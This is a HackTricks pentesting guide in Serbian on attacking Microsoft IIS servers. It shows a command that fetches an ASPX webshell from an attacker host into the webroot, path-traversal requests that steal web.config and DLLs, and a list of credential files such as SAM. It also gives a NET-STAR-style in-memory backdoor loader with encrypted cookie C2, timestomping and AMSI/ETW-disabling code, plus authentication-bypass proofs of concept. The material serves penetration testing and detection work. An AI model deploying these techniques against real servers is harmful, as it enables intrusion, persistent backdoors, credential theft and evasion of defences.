IIS - Internet Information Services
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Testirajte izvršne ekstenzije fajlova:
- asp
- aspx
- config
- php
Webroot sa mogućnošću upisa → ASPX command shell
Ako niskoprivilegovani korisnik/grupa ima pravo upisa na C:\inetpub\wwwroot, možete ubaciti ASPX webshell i izvršavati OS komande kao identitet application pool-a (koji često poseduje SeImpersonatePrivilege).
- Proverite ACL-ove:
icacls C:\inetpub\wwwrootilicacls .tražeći(F)za vašeg korisnika/grupu. - Otpremite command webshell (npr., fuzzdb/tennc
cmd.aspx) koristeći PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
- Pošaljite zahtev za
/shell.aspxi pokrenite komande; identitet se obično prikazuje kaoiis apppool\defaultapppool. - Kombinujte sa Potato-family LPE (e.g., GodPotato/SigmaPotato) kada AppPool token ima SeImpersonatePrivilege to pivot to SYSTEM.
Otkrivanje interne IP adrese
Na bilo kojem IIS serveru gde dobijete 302 možete pokušati ukloniti Host header i koristiti HTTP/1.0 i u odgovoru Location header može ukazati na internu IP adresu:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odgovor koji otkriva internu IP adresu:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Izvršavanje .config fajlova
Možete upload .config fajlove i koristiti ih za execute code. Jedan način je dodavanje koda na kraj fajla unutar HTML komentara: Download example here
More information and techniques to exploit this vulnerability here
IIS Discovery Bruteforce
Preuzmite listu koju sam kreirao:
Nastala je spajanjem sadržaja sledećih lista:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Koristite je bez dodavanja ekstenzije — fajlovi kojima je potrebna već je imaju.
Path Traversal
Leaking source code
Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
Ukratko, postoji nekoliko web.config fajlova unutar foldera aplikacije sa referencama na “assemblyIdentity” fajlove i “namespaces”. Sa ovom informacijom moguće je znati where are executables located i download-ovati ih.
Iz downloaded Dlls takođe je moguće pronaći new namespaces gde treba pokušati pristupiti i dobiti web.config fajl kako biste pronašli nove namespaces i assemblyIdentity.
Takođe, fajlovi connectionstrings.config i global.asax mogu sadržati zanimljive informacije.
U .Net MVC applications, fajl web.config igra ključnu ulogu jer specificira svaki binarni fajl od kojeg aplikacija zavisi kroz “assemblyIdentity” XML tagove.
Istraživanje binarnih fajlova
Primer pristupa fajlu web.config prikazan je ispod:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Ovaj zahtev otkriva razna podešavanja i zavisnosti, kao što su:
- EntityFramework verzija
- AppSettings za web stranice, validaciju klijenta i JavaScript
- System.web konfiguracije za autentifikaciju i runtime
- System.webServer podešavanja modula
- Runtime assembly bindings za brojne biblioteke kao što su Microsoft.Owin, Newtonsoft.Json, i System.Web.Mvc
Ova podešavanja ukazuju da se određeni fajlovi, kao što je /bin/WebGrease.dll, nalaze u /bin direktorijumu aplikacije.
Fajlovi u korenskom direktorijumu
Fajlovi pronađeni u korenskom direktorijumu, poput /global.asax i /connectionstrings.config (koji sadrži osetljive lozinke), su bitni za konfiguraciju i rad aplikacije.
Namespace-i i web.config
MVC aplikacije takođe definišu dodatne web.config fajlove za specifične namespace-ove kako bi izbegle ponavljajuće deklaracije u svakom fajlu, što je demonstrirano zahtevom za preuzimanje drugog web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Preuzimanje DLL-ova
Pominjanje prilagođenog namespace-a ukazuje na DLL nazvan “WebApplication1” koji se nalazi u /bin directory. Nakon toga prikazan je zahtev za preuzimanje WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Ovo sugeriše prisustvo drugih ključnih DLL-ova, kao što su System.Web.Mvc.dll i System.Web.Optimization.dll, u /bin direktorijumu.
U scenariju gde DLL importuje namespace nazvan WebApplication1.Areas.Minded, napadač može zaključiti postojanje drugih web.config datoteka na predvidljivim putanjama, kao što su /area-name/Views/, koje sadrže specifične konfiguracije i reference na druge DLL-ove u /bin direktorijumu. Na primer, zahtev ka /Minded/Views/web.config može otkriti konfiguracije i namespaces koji ukazuju na prisustvo drugog DLL-a, WebApplication1.AdditionalFeatures.dll.
Uobičajene datoteke
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
To znači da server nije dobio ispravan naziv domena unutar Host header.
Da biste pristupili web stranici, možete pogledati poslatu SSL Certificate i možda ćete tamo naći naziv domena/poddomena. Ako ga nema, možda ćete morati da brute force VHosts dok ne pronađete ispravan.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Dva uobičajena načina za zaštitu tajni na .NET aplikacijama hostovanim na IIS-u su:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) za sekcije web.config kao što su
. - ASP.NET Core Data Protection key ring (persistiran lokalno) koji se koristi za zaštitu aplikativnih tajni i kolačića.
Ako imate pristup fajl-sistemu ili interaktivan pristup web serveru, ključevi koji su smešteni zajedno često omogućavaju dešifrovanje.
- ASP.NET (Full Framework) – dešifrujte zaštićene sekcije konfiguracije pomoću aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – potražite Data Protection key rings sačuvane lokalno (XML/JSON fajlovi) na lokacijama kao što su:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Kada je key ring dostupan, operator koji se izvršava pod identitetom aplikacije može da instancira IDataProtector sa istim purposes i pozove Unprotect nad sačuvanim tajnama. Pogrešne konfiguracije koje čuvaju key ring zajedno sa fajlovima aplikacije čine offline dekriptovanje trivijalnim nakon kompromitovanja hosta.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
The Phantom Taurus/NET-STAR toolkit pokazuje zreli obrazac za fileless IIS persistence i post‑exploitation potpuno unutar w3wp.exe. Osnovne ideje su široko ponovo upotrebljive za custom tradecraft i za detection/hunting.
Ključne komponente
- ASPX bootstrapper hosting an embedded payload: jedna .aspx stranica (npr. OutlookEN.aspx) nosi Base64‑encoded, opciono Gzip‑compressed .NET DLL. Na trigger request dekodira, dekompresuje i reflectively učitava u trenutni AppDomain i poziva main entry point (npr. ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results se umotavaju sa Gzip → AES‑ECB/PKCS7 → Base64 i prenose preko naizgled legitimnih cookie‑heavy zahteva; operatori su koristili stabilne delimitere (npr. “STAR”) za chunking.
- Reflective .NET execution: prihvata proizvoljne managed assemblies kao Base64, učitava preko Assembly.Load(byte[]) i prosleđuje operator args za brzu zamenu modula bez dodirivanja diska.
- Operating in precompiled ASP.NET sites: dodavanje/održavanje pomoćnih shells/backdoors čak i kada je sajt precompiled (npr. dropper dodaje dynamic pages/handlers ili koristi config handlers) – izloženo komandama kao što su bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: izlaže changeLastModified action i timestomp prilikom deploy‑a (uključujući buduće compilation timestamps) da oteža DFIR.
- Optional AMSI/ETW pre‑disable for loaders: loader drugog stepena može onemogućiti AMSI i ETW pre poziva Assembly.Load da smanji inspekciju in‑memory payload‑ova.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Packing/crypto pomoćni alati (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session tok i površina komandi
- Session bootstrap i tasking se prenose putem cookies kako bi se uklopili u normalnu web aktivnost.
- Komande primećene u prirodi obuhvatale su: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; i dinamičke izvršne primitive code_self, code_pid, run_code za in‑memory .NET execution.
Timestomping alat
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Inline onemogućavanje AMSI/ETW pre Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Pogledajte AMSI/ETW bypass techniques u: windows-hardening/av-bypass.md
Napomene za hunting (defenders)
- Jedna neobična ASPX stranica sa veoma dugim Base64/Gzip blobovima; POST zahtevi koji intenzivno koriste cookie.
- Neobezbeđeni managed moduli unutar w3wp.exe; stringovi kao Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Ponavljajući delimitatori poput “STAR” u saobraćaju; nepodudaranja ili čak budući timestamps na ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Mnoge ASP.NET aplikacije ugrađuju Telerik UI for ASP.NET AJAX i izlažu neautentifikovani handler Telerik.Web.UI.WebResource.axd. Kada je Image Editor cache endpoint dostupan (type=iec), parametri dkey=1 i prtype omogućavaju unsafe reflection koji izvršava bilo koji public konstruktor bez parametara pre autentifikacije. Ovo daje univerzalni DoS primitiv i može eskalirati do pre-auth RCE na aplikacijama koje imaju nesigurne AppDomain.AssemblyResolve handlere.
Pogledajte detaljne tehnike i PoCs ovde:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Možete pokušati da enumerate folders and files unutar svakog otkrivenog foldera (čak i ako zahteva Basic Authentication) koristeći ovu technique.
Glavno ograničenje ove technique ako je server ranjiv je da može pronaći samo prvih 6 slova imena svakog fajla/foldera i prva 3 slova ekstenzije fajlova.
Možete koristiti https://github.com/irsdl/IIS-ShortName-Scanner da testirate ovu ranjivost:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Takođe možete koristiti metasploit: use scanner/http/iis_shortname_scanner
Dobra ideja da pronađete konačno ime otkrivenih fajlova je da pitate LLMs za opcije kao što je urađeno u skripti https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Zaobiđite Basic Authentication (IIS 7.5) pokušavajući da pristupite: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php
Možete pokušati da pomešate ovu ranjivost i prethodnu da pronađete nove foldere i zaobiđete autentifikaciju.
ASP.NET Trace.AXD enabled debugging
ASP.NET uključuje režim za debug i fajl se zove trace.axd.
On vodi vrlo detaljan log svih zahteva prema aplikaciji tokom određenog perioda.
Ove informacije uključuju IP adrese udaljenih klijenata, session ID-jeve, sve request i response cookie-je, fizičke putanje, informacije iz izvornog koda, i potencijalno čak i korisnička imena i lozinke.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH koristi sledeće info:
validationKey(string): hex-enkodovan ključ za validaciju potpisa.decryptionMethod(string): (podrazumevano “AES”).decryptionIV(string): hex-enkodovan initialization vector (podrazumevano vektor nula).decryptionKey(string): hex-enkodovan ključ za dešifrovanje.
Međutim, neki ljudi koriste podrazumevane vrednosti ovih parametara i koriste kao cookie email korisnika. Dakle, ako možete naći web sa istom platformom koji koristi ASPXAUTH cookie i kreirate korisnika sa email-om korisnika kojeg želite da impersonate na tom drugom serveru, možda ćete moći da iskoristite cookie sa drugog servera na ciljanom serveru i impersonate tog korisnika.
Ovaj napad je uspešno izveden u ovom writeup-u.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: Bag u kodu je bio da nije ispravno proveravao lozinku koju je korisnik unet, tako da napadač čiji password hash mapira na ključ koji je već u cache-u može da se prijavi kao taj korisnik.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Izvori
- 0xdf – HTB Job (IIS write → ASPX shell → GodPotato)
- Unit 42 – Phantom Taurus: Novi kineski Nexus APT i otkriće NET-STAR Malware Suite
- AMSI/ETW bypass pozadina (HackTricks)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


